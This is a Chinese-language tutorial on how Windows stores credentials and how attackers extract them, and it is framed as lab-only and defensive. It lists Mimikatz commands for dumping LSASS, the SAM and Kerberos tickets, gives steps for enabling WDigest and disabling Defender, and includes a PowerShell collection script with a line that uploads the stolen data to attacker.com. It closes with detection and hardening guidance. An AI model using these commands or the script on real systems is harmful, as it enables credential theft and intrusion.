在实际渗透测试和红队评估中敏感信息获取是权限提升和横向移动的关键环节。攻击者在成功进入一台主机后首要目标往往是收集内存、文件系统、注册表中的各类凭据、密钥和配置信息这些信息是通往域内其他主机乃至域控的“钥匙”。Mimikatz 作为一款经典的 Windows 凭据提取工具其原理和用法是安全从业者必须理解的内容。而 Pillager 这类自动化信息收集工具则代表了红队行动中效率提升的趋势能够系统性地扫描和提取目标主机上的敏感数据。本文旨在从防御和深度理解攻击技术的角度剖析在 Windows 环境下攻击者如何获取敏感信息重点解读 Mimikatz 的核心模块与工作机理并介绍类似 Pillager 的自动化工具的基本思路。通过了解这些工具的原理和使用场景安全工程师可以更有效地配置监控策略、部署检测规则和加固系统环境。本文假设读者具备基础的 Windows 系统和网络安全知识我们将从环境准备开始逐步深入到工具的原理性使用和关键日志分析。1. 理解 Windows 身份认证与凭据存储机制要理解敏感信息获取工具在获取什么首先必须清楚 Windows 系统中凭据的存储位置和形式。攻击者并非无中生有而是利用了系统设计中的一些特性与弱点。1.1 主要凭据类型与存储位置Windows 系统中的敏感信息远不止用户名和密码它们以多种形式存在于不同位置LSASS 进程内存这是最核心的战场。本地安全机构子系统服务进程负责管理本地安全和登录策略。用户登录后其凭据如 NTLM 哈希、Kerberos 票证会以明文或可逆加密的形式暂存在 LSASS 的内存空间中以供后续的 SSO 等操作使用。Mimikatz 的主要攻击目标就是这里。SAM 数据库存储本地用户的账户信息和密码哈希LM Hash/NTLM Hash位于%SystemRoot%\system32\config\SAM。系统运行时该文件被锁定但可以通过卷影副本或离线加载的方式读取。LSA 机密本地安全机构存储的一些自动登录密码、服务账户密码、RDP 连接密码等通常加密后保存在注册表中HKLM\SECURITY\Policy\Secrets。域缓存凭据域成员主机上会缓存最近成功登录的域用户凭据默认最多10个以便在域控制器不可用时进行登录验证。这些缓存存储在注册表HKLM\SECURITY\Cache中。用户进程内存浏览器、邮件客户端、FTP 工具、SSH 客户端等应用程序可能在内存中保存用户输入的密码。文件系统中的敏感文件包括配置文件如web.config、application.properties、脚本、数据库连接字符串、备份文件、日志文件等可能包含硬编码的密码或密钥。注册表键值除了上述与安全相关的其他应用程序也可能在注册表中存储配置信息。1.2 为什么这些信息可以被获取这涉及到操作系统安全模型与实用性的平衡进程内存访问在用户获得足够权限如SeDebugPrivilege后便可以读取其他进程的内存空间。管理员权限通常就具备调试特权。存储加密并非无懈可击很多凭据的存储使用了基于系统密钥如Syskey的加密。然而当系统正在运行时这些密钥也存在于内存或注册表中攻击者可以在同一上下文中获取密钥并解密数据。设计遗留与兼容性例如 WDigest 协议默认在内存中缓存明文密码是为了兼容旧式认证。虽然高版本 Windows 已默认禁用但通过修改注册表仍可开启成为攻击点。理解这些是防御和检测的基础。接下来我们将在一个受控的实验环境中探索最著名的工具 Mimikatz。2. 实验环境准备与注意事项重要声明以下所有操作仅应在你自己完全控制的、隔离的实验室环境中进行。未经授权对他人系统进行测试是非法行为。2.1 实验室环境搭建你需要准备以下环境虚拟机软件VMware Workstation 或 VirtualBox。靶机一台 Windows 10 或 Windows Server 2016/2019/2022 虚拟机。建议使用 Windows Server因为它默认包含域环境组件。为靶机创建一个本地管理员账户如labadmin和一个普通域用户账户如果你搭建了域环境。攻击机一台 Kali Linux 虚拟机用于模拟攻击者视角并存放工具。网络将虚拟机的网络模式设置为“仅主机”或“NAT”确保与物理主机及其他网络隔离。2.2 靶机基础配置与监控准备在开始操作前需要在靶机上做一些配置以便更好地观察现象和后续进行检测分析启用审计策略打开“本地安全策略”secpol.msc或“组策略管理器”。路径安全设置\本地策略\审核策略启用以下策略的“成功”和“失败”审计审核登录事件审核特权使用审核进程创建审核对象访问需要进一步配置 SACL配置 PowerShell 日志攻击活动常通过 PowerShell 进行。打开“组策略编辑器”gpedit.msc。路径计算机配置\管理模板\Windows 组件\Windows PowerShell启用“打开 PowerShell 脚本块日志记录”和“打开脚本执行”。安装 Sysmon系统监视器是强大的免费工具能记录详细的进程、网络、文件创建等事件。从微软官网下载 Sysmon并使用一个公开的配置文件如 SwiftOnSecurity 的 sysmon-config进行安装sysmon.exe -accepteula -i sysmonconfig-export.xml关闭实时防护在实验环境中为避免工具被误杀可以临时关闭 Windows Defender 实时防护。生产环境绝对禁止此操作。环境准备好后我们可以开始探究 Mimikatz。3. Mimikatz 核心模块深度解析Mimikatz 由法国安全研究员 Benjamin Delpy 开发它不是一个单一功能的工具而是一个集成了多个模块的“瑞士军刀”。其核心功能是提取 Windows 系统中的各种凭据。3.1 获取与执行 Mimikatz由于 Mimikatz 被所有主流杀毒软件标记直接下载可执行文件通常会被拦截。在实验环境中我们可以通过以下几种方式获取从源码编译从官方 GitHub 仓库获取源码使用 Visual Studio 编译。这是最“干净”的方式。使用免杀加载器在红队评估中常见但本实验不涉及。使用预编译版本在隔离的实验环境中可以从可靠的来源获取已关闭 Defender 的虚拟机镜像其中可能包含工具。在靶机上通常需要管理员权限运行 Mimikatz。打开一个具有管理员权限的命令提示符或 PowerShell导航到 Mimikatz 所在目录运行mimikatz.exe。你会看到著名的mimikatz #提示符。3.2 核心命令与原理剖析Mimikatz 的功能通过模块和命令实现。下面分析几个最关键的模块。3.2.1sekurlsa模块 - 攻击 LSASS 内存sekurlsa是 Mimikatz 的基石用于从 LSASS 进程内存中提取登录会话的凭据。# 提升权限至 debug 权限通常管理员权限已具备 mimikatz # privilege::debug Privilege 20 OK # 使用 sekurlsa 模块提取所有可能的凭据 mimikatz # sekurlsa::logonpasswords执行后你可能会看到如下输出Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : Administrator Domain : LAB-DC Logon Server : DC01 Logon Time : 2023/10/27 10:00:00 SID : S-1-5-21-123456789-1234567890-123456789-500 msv : [00000003] Primary * Username : Administrator * Domain : LAB-DC * NTLM : 329153f560eb329c0e1deea55e88a1e9 * SHA1 : 5bce963c7b0ee6db43c5d1e6f6c2c9c5d0e8f7a1 tspkg : wdigest : * Username : Administrator * Domain : LAB-DC * Password : (null) # 如果WDigest未启用或密码未被缓存这里为空 kerberos : * Username : Administrator * Domain : LAB-DC.LOCAL * Password : (null) ssp : credman :关键输出解读与原理msv 对应MSV1_0认证包这里提取到的是用户 NTLM 哈希。这是最常被用于“哈希传递”攻击的凭据。Mimikatz 通过读取 LSASS 中存储的MSV1_0数据结构获得。wdigest 对应 WDigest 协议。在 Windows 8.1/Server 2012 R2 之前默认在内存中缓存明文密码。之后版本默认禁用但可通过注册表键UseLogonCredential启用。如果启用且用户登录后未重启这里可能显示明文密码。kerberos 对应 Kerberos 认证包。可以提取到用于生成 TGT票证授予票证的密钥通常是用户的哈希。在较高版本系统中默认无法提取明文。tspkg/ssp/credman 对应其他安全支持提供程序或凭据管理器可能包含其他形式的凭据。为什么能提取Mimikatz 利用SeDebugPrivilege权限调用OpenProcess打开 LSASS 进程然后在其内存空间中搜索特定数据结构如KIWI_MSV1_0_LIST_63并解析这些结构来还原凭据。3.2.2lsadump模块 - 攻击 SAM 与 LSA此模块用于从注册表中提取本地账户哈希和 LSA 存储的机密。# 转储本地 SAM 数据库中的账户哈希需要 SYSTEM 权限 mimikatz # token::elevate # 提升至 SYSTEM 令牌 mimikatz # lsadump::sam# 转储 LSA 机密包括系统自动管理的密码如服务账户、计划任务账户 mimikatz # lsadump::secrets原理lsadump::sam通过读取HKLM\SAM和HKLM\SYSTEM注册表项获取 SAM 数据库文件和系统密钥然后在内存中解密哈希。lsadump::secrets则读取HKLM\SECURITY下的 LSA 机密信息并使用从内存中获取的Syskey进行解密。3.2.3kerberos模块 - 操作 Kerberos 票证该模块用于管理 Kerberos 票证可用于“黄金票证”和“白银票证”攻击。# 列出当前会话中的所有 Kerberos 票证 mimikatz # kerberos::list # 导出所有票证.kirbi 格式可用于票证传递 mimikatz # kerberos::ticket /export黄金票证原理攻击者获取域控的krbtgt账户的 NTLM 哈希后可以伪造任意用户的 TGT从而获得域内任意服务的访问权限。这需要kerberos::golden命令并需要krbtgt哈希、域 SID 等信息。3.3 常见错误与排查在实验过程中你可能会遇到以下问题问题现象可能原因检查与解决privilege::debug返回ERROR kuhl_m_privilege_simple进程未以管理员权限运行。以管理员身份重新启动命令提示符或 PowerShell再运行 Mimikatz。sekurlsa::logonpasswords输出中密码均为(null)1. 系统版本较高如 Win10 1809WDigest 默认禁用。2. 目标用户登录后系统尚未缓存凭据。3. 受 Credential Guard 保护。1. 检查注册表HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredential值设为 1 并重启或让用户重新登录可启用仅实验。2. 让目标用户进行交互式登录如 RDP。3. Credential Guard 是硬件级保护在实验虚拟机中通常可禁用。杀毒软件立即报警并删除文件Mimikatz 特征已被广泛识别。在实验环境中临时关闭实时监控。或在编译时修改特征码高级话题。无法访问 LSASS 进程存在 AV/EDR 对OpenProcess的防护或系统启用了 PPL 保护。检查是否有安全软件拦截。使用其他技术如 MiniDump 转储 LSASS 进程内存再离线用 Mimikatz 分析。4. 自动化信息收集工具以 Pillager 为例的思路手动运行 Mimikatz 命令是针对单台主机的精准打击。在红队评估中为了在获取立足点后快速收集整个网络的信息自动化工具至关重要。Pillager 是此类工具的一个代表其核心思想是编写一个轻量级脚本或可执行文件在目标主机上运行自动执行一系列信息收集命令并将结果打包回传。4.1 Pillager 类工具的核心功能模块一个典型的自动化信息收集工具会包含以下模块权限提升检查检查当前权限尝试通过已知漏洞或配置错误如服务路径权限、AlwaysInstallElevated提升到 SYSTEM 或管理员。凭据提取封装对 Mimikatz或类似功能如 SafetyKatz、Rubeus的调用自动提取 LSASS、SAM、LSA 中的信息。网络与系统信息收集# 示例PowerShell 收集命令 ipconfig /all netstat -ano systeminfo net user net localgroup administrators net share arp -a route print net view /domain net group Domain Admins /domain文件系统扫描搜索特定目录下的敏感文件。配置文件*.config,*.xml,*.ini,*.properties脚本文件*.ps1,*.bat,*.vbs数据库文件*.mdf,*.ldf,*.sqlite备份文件*.bak,*.old包含关键词的文件搜索文件内容中的password,secret,key,connectionString等。注册表扫描查询存储密码、配置信息的注册表路径。浏览器数据提取尝试提取浏览器保存的密码、Cookie、历史记录。数据打包与外传将收集到的所有文本、截图、文件压缩加密通过 HTTP、DNS、SMB 等方式回传到攻击者控制的服务器。4.2 一个简单的 PowerShell 信息收集脚本示例以下是一个高度简化的概念性脚本展示了自动化收集的思路# Pillager-Concept.ps1 # 注意这仅用于理解原理实际工具要复杂得多并包含混淆和规避技术。 $outputDir $env:TEMP\CollectedData_$(Get-Random) New-Item -ItemType Directory -Path $outputDir -Force | Out-Null function Invoke-MimikatzDump { # 假设 mimikatz.exe 已通过某种方式存在于目标机器 $mimikatzPath $env:TEMP\mimikatz.exe $mimikatzPath privilege::debug sekurlsa::logonpasswords exit | Out-File $outputDir\mimikatz.txt } function Collect-SystemInfo { systeminfo | Out-File $outputDir\systeminfo.txt ipconfig /all | Out-File $outputDir\network_info.txt netstat -ano | Out-File $outputDir\netstat.txt whoami /all | Out-File $outputDir\whoami.txt net user | Out-File $outputDir\local_users.txt net localgroup administrators | Out-File $outputDir\local_admins.txt } function Search-SensitiveFiles { $searchPaths (C:\Users\, C:\inetpub\, C:\ProgramData\) $keywords (*pass*, *secret*, *key*, *.config, web.config, *.xml) foreach ($path in $searchPaths) { if (Test-Path $path) { foreach ($kw in $keywords) { Get-ChildItem -Path $path -Filter $kw -Recurse -ErrorAction SilentlyContinue -File | Select-Object FullName, Length, LastWriteTime | Export-Csv $outputDir\sensitive_files.csv -Append -NoTypeInformation } } } } # 执行收集 Write-Host [*] Starting collection to $outputDir Collect-SystemInfo Search-SensitiveFiles # Invoke-MimikatzDump # 在实际中需谨慎动静较大 # 打包数据 $zipFile $env:TEMP\collection.zip Compress-Archive -Path $outputDir\* -DestinationPath $zipFile -Force Write-Host [*] Collection complete. Data packed at: $zipFile # 实际工具会在这里添加回传代码例如(New-Object Net.WebClient).UploadFile(http://attacker.com/upload, $zipFile) # 清理痕迹可选 # Remove-Item -Path $outputDir -Recurse -Force # Remove-Item -Path $zipFile -Force4.3 防御视角下的检测点了解攻击工具的行为后防御者可以在以下环节部署检测进程创建监控mimikatz.exe、powershell.exe调用可疑命令行、cmd.exe执行敏感命令。进程访问监控非系统进程尤其是powershell.exe,cmd.exe对lsass.exe进程的OpenProcess调用访问权限为PROCESS_VM_READ。文件操作监控对SAM,SECURITY注册表文件的读取尝试。网络活动监控主机向异常外网地址发送压缩包或大量数据。PowerShell 日志分析 PowerShell 脚本块日志查找包含Invoke-Mimikatz、sekurlsa、privilege::debug等关键词的脚本。5. 针对凭据获取的防御与缓解措施仅仅检测是不够的必须从架构和管理上实施缓解措施增加攻击者获取和利用凭据的难度。5.1 预防凭据泄露实施最小权限原则严格限制管理员权限的分配。普通用户日常操作不应使用管理员账户。禁用 WDigest 认证确保注册表项UseLogonCredential值为 0 或不存在。这是防止明文密码泄露的关键。启用 Credential Guard对于 Windows 10/11 企业版和 Windows Server 2016启用 Credential Guard 可以基于虚拟化安全技术隔离 LSASS使 Mimikatz 无法直接读取其内存。这需要硬件支持VT-d/AMD-Vi并在 UEFI 中开启安全启动。启用受保护进程PPL配置 LSASS 以受保护进程模式运行可以防止非授权代码注入和内存读取。可通过组策略或注册表设置。限制调试权限通过组策略限制SeDebugPrivilege的分配仅授予绝对必要的账户。使用 Windows Defender 攻击面减少规则启用“阻止从 Win32k 系统调用进行的凭据窃取”和“阻止进程创建源自 PSExec 和 WMI 命令”等规则。5.2 检测与响应部署 EDR/高级威胁防护现代终端检测与响应解决方案能够基于行为检测 Mimikatz 等工具的活动而不仅仅是特征码。集中化日志收集与分析将 Windows 安全事件日志、Sysmon 日志、PowerShell 日志集中到 SIEM 中。建立告警规则例如事件 ID 10进程访问且目标进程为lsass.exe。PowerShell 日志中出现敏感命令序列。大量注册表敏感路径的读取事件。定期进行红队演练使用合法的攻击模拟工具测试你的防御体系验证上述检测措施是否有效。5.3 缓解凭据滥用即使哈希被窃取也可以通过以下方式阻止其被利用实施 NTLM 阻止策略在域环境中尽可能禁用 NTLM 认证强制使用 Kerberos。启用 NTLM 审计与限制对于必须使用 NTLM 的场景启用审计并限制其使用范围。使用 LAPS对于本地管理员账户使用微软的本地管理员密码解决方案确保每台机器的本地管理员密码不同且定期自动更改防止横向移动。实施网络分段限制关键服务器如域控的访问来源减少攻击面。理解攻击工具如 Mimikatz 和 Pillager 的工作原理是构建有效防御的基石。防御的本质不是追求绝对安全而是通过层层设防将攻击者的成本提高到无法承受的程度。从加固系统配置、实施严格的权限管理到部署深度检测和建立快速响应机制这是一个完整的体系。安全工程师的价值就在于能够穿透攻击者的视角用他们对工具和技术的深刻理解来设计和运营一个更具韧性的防御体系。